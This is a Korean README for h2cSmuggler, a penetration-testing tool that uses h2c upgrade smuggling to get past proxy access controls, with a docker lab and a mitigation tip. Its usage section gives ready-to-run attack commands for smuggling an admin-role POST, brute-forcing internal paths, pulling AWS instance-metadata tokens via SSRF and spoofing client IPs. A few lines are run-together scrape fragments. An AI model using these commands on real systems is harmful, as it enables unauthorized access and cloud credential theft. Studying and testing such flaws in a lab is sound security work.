
HTTP/2 Cleartext (h2c)를 통한 HTTP 요청 밀반입
h2cSmuggler는 HTTP/2 평문(h2c) 통신을 h2c 호환 백엔드 서버와 설정하여 안전하지 않은 에지 서버 proxy_pass 구성을 우회하고, 프록시 규칙 및 접근 제어를 우회할 수 있도록 합니다.
자세한 내용은 아래 글을 참조하세요:
여기: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
h2c 업그레이드 헤더를 전달하는 모든 프록시 엔드포인트가 영향을 받을 수 있습니다. h2c는 평문 채널에서만 수행되도록 설계되었기 때문에 HTTPS 서비스에서 탐지하면 종종 진양성이 나타납니다.
반대로 HTTP 서비스에서는 위양성이 발생할 수 있습니다. 예를 들어, h2c를 지원하는 프록시가 업그레이드를 h2c 백엔드로 전달하지 않고 자체적으로 응답할 수 있습니다.
--scan-list 옵션을 사용하여 하나 이상의 웹 서버를 테스트하여 영향을 받는 proxy_pass 엔드포인트를 찾을 수 있습니다. 디렉터리 열거로 발견된 디렉터리 목록을 사용하는 것을 고려하세요. 예:
urls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitted for brevity...
엔드포인트 목록과 총 스레드 수로 h2cSmuggler를 실행하세요:
./h2csmuggler.py --scan-list urls.txt --threads 5
또는 개별 테스트는 다음과 같이 수행할 수 있습니다:
./h2csmuggler.py -x https://www.example.com/api/ --test
터널링에 사용할 수 있는 영향을 받은 엔드포인트를 식별한 후에는 백엔드 서버의 내부 엔드포인트에 접근하거나 무차별 대입 공격을 수행하고 사용자 정의 동사 또는 헤더를 제공할 수 있습니다. 아래 데모에서는 h2c 스머글링을 사용하여 프록시 거부 규칙을 우회하고 내부 /flag 엔드포인트에 접근하는 방법을 보여줍니다.
완화 방법으로는 사용자가 제공한 Upgrade 또는 Connection 헤더 값을 전달하지 않는 것입니다. 추가 지침은 기술 게시물을 참조하세요.
유일한 종속성은 Python hyper-h2 라이브러리입니다:
pip3 install h2
테스트 환경을 통해 통제된 환경에서 h2cSmuggler를 실험할 수 있습니다. docker-compose는 h2c를 지원하는 Golang 백엔드로 이어지는 세 가지 프록시 체인을 시뮬레이션합니다:
TCP port: 설명
======== ===========
8000: HTTP h2c 백엔드
8001: HAProxy -> h2c 백엔드 (안전하지 않은 기본 설정)
8002: nginx -> h2c 백엔드 (안전하지 않은 사용자 정의 설정)
8003: Nuster -> HAProxy -> h2c 백엔드 (여러 프록시 계층의 안전하지 않은 설정)
[1] 인증서를 생성하고 docker-compose로 환경을 실행하세요:
# 인증서 생성
./configs/generate-certificates.sh
# 서비스 실행
docker-compose up
모든 프록시는 h2c 백엔드에서 접근 가능한 /flag 엔드포인트에 대한 접근을 거부합니다. 8001번 포트에서 실행 중인 HAProxy 서버를 통해 금지된 엔드포인트에 접근해 보겠습니다:
h2cSmuggler를 사용하여 --test(또는 -t)로 프록시의 안전하지 않은 구성을 확인할 수 있습니다:
이제 h2cSmuggler를 사용하여 h2c 업그레이드를 수행하고, HTTP/2 트래픽을 프록시를 통해 터널링하고, 백엔드에서 /flag 엔드포인트를 요청하여 프록시의 접근 제어를 우회해 보겠습니다:
자세한 설명은 기술 문서를 확인하세요.
h2cSmuggler는 스머글된 요청을 설명하기 위해 익숙한 curl 스타일의 구문을 사용합니다:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/)하여 스머글링에 취약한 proxy_pass 엔드포인트를 식별합니다 (단일 서버 테스트 시 스레드 수에 주의하세요):./h2csmuggler.py --scan-list urls.txt --threads 5
또는 출력을 파일로 리디렉션합니다. stderr(2>)와 stdout(1>)을 사용하세요. stderr 스트림에는 오류(예: SSL 핸드셰이크/시간 초과 문제)가 포함되고, stdout에는 결과가 포함됩니다.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
https://edgeserver를 우회하여 내부 엔드포인트로 스머글된 POST 요청 보내기:./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
dirs.txt는 경로 목록(예: /api/, /admin/)을 나타냅니다./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
Host 헤더 SSRF 악용 (예: AWS 메타데이터 IMDSv2):토큰 가져오기:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
토큰 전송:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
X-Forwarded-For 헤더로 IP 주소 스푸핑하여 내부 대시보드 접근:./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
Q: 서버에서 여러 응답이 오는 이유는 무엇인가요?
A: 첫 번째 응답은 h2c 업그레이드 프로토콜에 따라 HTTP/1.1로 시작된 원래 업그레이드 요청에 대한 데이터 응답입니다. 이후 응답은 스머글된 요청에서 온 것입니다.
Q: '101 Switching Protocols'를 받았지만 원격 서버에서 데이터를 수신하지 못합니다.
A: 테스트에서 이 동작을 관찰했으며, 일부 서버는 실제로 HTTP/2를 지원하지 않더라도 101 상태로 응답한다는 것을 발견했습니다.
Q: h2c 터널을 설정하는 것이 항상 취약점인가요?
A: 아닙니다. TLS를 종료하는 TCP 로드 밸런서(예: ELB)가 h2c 호환 백엔드로 직접 프록시하는 경우를 고려해 보세요. h2c 연결을 설정할 수 있더라도, 적용된 접근 제어가 없다면 우회할 접근 제어가 없거나 이 터널을 시작하여 얻을 수 있는 권한이 없습니다.
Q: 스머글된 요청 URI에 스키마가 필요한 이유는 무엇인가요? 무엇에 사용되나요?
A: HTTP/2 프로토콜은 :scheme 의사 헤더를 요구합니다. 우리의 사용 사례에서는 http와 https의 차이가 중요하지 않을 수 있습니다. 자세한 내용은 HTTP/2 RFC: Section 8.1.2.3을 참조하세요.
Q: 백엔드 서버의 호스트 이름으로 무엇을 사용해야 하나요?
A: 에지 서버와 동일한 호스트 이름으로 시작하는 것이 좋습니다. 그 다음에는 대체 호스트 이름 값을 시도해 보세요.
Twitter: @theBumbleSec
GitHub: the-bumble